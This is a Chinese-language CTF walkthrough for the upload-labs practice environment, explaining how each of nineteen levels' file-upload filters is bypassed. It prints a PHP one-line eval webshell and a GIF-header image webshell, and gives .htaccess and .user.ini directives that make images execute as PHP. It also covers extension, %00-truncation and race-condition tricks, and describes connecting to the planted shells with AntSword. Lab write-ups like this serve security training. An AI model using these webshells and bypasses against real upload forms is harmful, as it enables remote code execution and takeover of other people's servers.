Pass-01
考察点:前端绕过
发现上传.php文件时,alert:该文件不允许上传,请上传.jpg|.png|.gif,当前文件类型为:php
,这表明验证点在前端(js),而不在服务端.
F12找找js源码,整理如下:
1 |
|
直接修改js代码或者上传一个有一句话木马<?php @eval($_POST[value]);?>
的符合题目后缀要求的文件,抓包修改请求内容绕过,蚁剑链接
Pass-02
考察点:服务器端MIME绕过
1 | $is_upload = false; |
很明显对Content-Type进行了检查,抓包更改Content-Type进行绕过即可,上传成功,蚁剑连接
Pass-03
考察点 黑名单过滤
上传一个写有AddType application/x-httpd-php .jpg
的.htaccess文件,然后再上传一个写有一句话木马的.jpg文件,蚁剑连接。
.htaccess作用:可以把 .jpg后缀格式的文件名以php格式解析,因此达到了可执行的效果
Pass-04
考察点 .htaccess绕过
同上
Pass-05
考察点 .user.ini
做法类似.htaccess,上传一个写有auto_prepend_file=1.jpg
为后缀的.user.ini文件,然后在上传一个写有一句话木马的jpg文件,上传成功后,蚁剑连接,但是要注意,题目提示上传目录存在php文件(readme.php)
所以蚁剑连接的时候要把文件名改成readme.php
.user.ini作用 所有的php文件都自动包含jpg文件
Pass-06
考察点 大小写绕过
看源码,黑名单几乎过滤了所有后缀包括.htaccess,但是发现没有对大小写设置,抓包改下大小写绕过
Pass-07
考察点 空格绕过
空格过滤,直接抓包加空格就好了
Pass-08
考察点 点号绕过
抓包加点
Pass-09
考察点 ::$DATA绕过
::$DATA作用:php在windows中如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持”::$DATA”之前的文件名(Windows文件流特性)
上传一句话木马的.php后缀文件,抓包加::$DATA,上传成功,蚁剑连接(连接的时候要把文件名的::$DATA去掉)
Pass-10
考察点 .[空格].绕过
注意拼接部分$img_path = UPLOAD_PATH.'/'.$file_name;
最后保存的是原始文件,而不是经过检测的文件
Pass-11
考察点 双写绕过
$file_name = str_ireplace($deny_ext,"", $file_name);
很明显是双写绕过,str_ireplace()函数的作用如下:
1 | 把字符串 "Hello world!" 中的字符 "WORLD"(不区分大小写)替换成 "Shanghai": |
抓包,把.php后缀改为.pphphp,成功绕过
Pass-12
考察点 00截断(GET)
截断条件:
1、php版本小于5.3.4
2、php.ini的magic_quotes_gpc为OFF状态
原理:
1 | url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束 |
使用情况:
1 | 上传时路径可控,使用00截断 |
1 | $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; |
构造sava_path=/upload/1.php%00
绕过
Pass-13
考察点 00截断(POST)
1 | $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; |
原理同上,但由于save_path参数通过POST方式传递,而POST不会像GET那样对%00进行自动解码,所以需要在二进制中进行修改 ,将hex改为00
Pass-14
考察点 图片马上传
可以将图片带入到PHP代码里,从而导致PHP代码执行
图片马制作
GIF的文件头GIF89a ,ZIP压缩文件文件头PK ,7z压缩文件文件头7z
1 | 法1.创建一个空的.php文件,用notepad++写入GIF89a @eval($_POST[value]); |
把制作好的图片马上传,打开文件包含漏洞
发送GET请求?file=upload/图片文件名
,蚁剑连接即可
Pass-15
考察点 getimagesize
getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息.本关匹配Content-type
1 | 索引 [2] 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM |
做法同Pass-14
Pass-16
考察点 exif_imagetype()
exif_imagetype() 读取一个图像的第一个字节并检查其签名。如果发现了恰当的签名则返回一个对应的常量,否则返回 FALSE。返回值跟getimagesize() 返回的数组中的索引 [2] 的值是一样的
要做这个题首先要把Php扩展php_exif开启
做法同上
Pass-17
考察点 二次渲染 / imagecreatefromjpeg()
1 | imagecreatefromjpeg()会把文件尾部的PHP代码去除,所以本题只需找到渲染前后没有变化的位置(可以用beyond compare进行比较),然后将一句话php代码写进去,即可上传成功 |
做法同上
1 | 下列代码,可以制作一张二次渲染过后,恶意代码依旧存在的png图片马 |
png图片上传后利用文件包含漏洞传 post 参数,同时GET:&0=phpinfo
Pass-18
考察点 条件竟争绕过
1 | 条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同的请求时是并发进行的,因此如果并发处理不当或相关操作顺序设计的不合理时,将会导致此类问题的发生。 |
创建一个shell.php文件,里边内容
1 |
|
上传抓包,发包到intruder, Clear,Add变量a(自己加的),
Playload type:Numbers
From:1 ,To:11111
打开浏览器页面http://127.0.0.1/upload-labs/upload/shell.php
start attack
疯狂刷新,看到有页面一闪而过就可以了
然后访问http://127.0.0.1/upload-labs/upload/shell_pass18.php
成功,蚁剑连接
Pass-19
同上